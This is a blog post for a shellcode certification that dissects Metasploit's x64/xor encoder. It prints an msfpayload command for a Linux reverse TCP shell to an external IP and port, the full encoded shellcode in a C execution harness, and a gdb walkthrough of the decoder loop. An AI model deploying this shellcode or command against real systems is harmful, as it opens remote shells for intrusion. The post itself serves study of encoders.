A Look at the x64/xor Metasploit Encoder

After I finished micro optimizing my reverse TCP shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 74 bytes. It would seem better than my 77 byte shellcode, except this comes with a price. The payload always contains null-bytes, even if your IP does not have .0's in it. This means you won't have as much luck exploiting string buffers as a completely null-free version would.

I found that to generate a null-free reverse TCP payload with Metasploit I had to use the encoder, and there only appears to be a single encoder explicitly for x64. The final payload size is 119 bytes.

root@kali:~/.ssh# msfpayload linux/x64/shell_reverse_tcp LHOST=10.2.100.15 LPORT=4444 R | msfencode -t c -e x64/xor -b '\x00'
[*] x64/xor succeeded with size 119 (iteration=1)

I threw this into a C file.

unsigned char sc[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x64\x8b\x0a\x55\x36\x0b\x54\xa5\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x0e\xa2\x52\xcc\x5c\x09"
"\x0b\xcf\x65\xd5\x05\x50\x7e\x9c\x1c\x1c\x66\x8b\x1b\x09\x3c"
"\x09\x30\xaa\x35\xc3\x83\xb3\x5c\x1b\x0e\xcf\x4e\xd3\x05\x50"
"\x5c\x08\x0a\xed\x9b\x45\x60\x74\x6e\x04\x51\xd0\x92\xe1\x31"
"\x0d\xaf\x43\xef\x8a\x06\xe2\x64\x7a\x45\x63\x54\xf6\x2c\x02"
"\xed\x07\x61\x43\xdd\x43\x6b\x8e\x0a\x55\x36\x0b\x54\xa5";

main(void)
{
    (*(void(*)()) sc)();
}

I compiled it: gcc -m64 -z execstack msfencoded.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

This is where the call into our shellcode begins. It starts out by setting RCX to 0xa. It then does RIP-relative addressing to load into RAX where it needs to start decoding from.

0x000000000060088a in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x60088a <sc+10>:    lea    -0x11(%rip),%rax        # 0x600880 <sc>

Next, 0xa5540b36550a8b64 is moved into RBX. This is xored at [RAX + 0x27].

0x000000000060089b in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0xa5540b36550a8b64
2: /x $rax = 0x600880
1: x/i $rip
=> 0x60089b <sc+27>:    xor    %rbx,0x27(%rax)

Eight bytes are then subtracted from RAX and the loop starts back at the XOR continues.  Once the loop finishes, we find ourselves directly at the pre-encoded payload.

This is clearly a very simple encoder.  Here's what the full code looks like:

_start:
    xor rcx, rcx
    sub rcx, 0xfffffffffffffff6
    lea rax, [rip + 0xffffffffffffffef] 
    mova rbx ,0xa5540b36550a8b64

decode:
    xor qword ptr [rax+0x27], rbx
    sub rax, 0xfffffffffffffff8
    loop decode

data:
    db 0x...

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360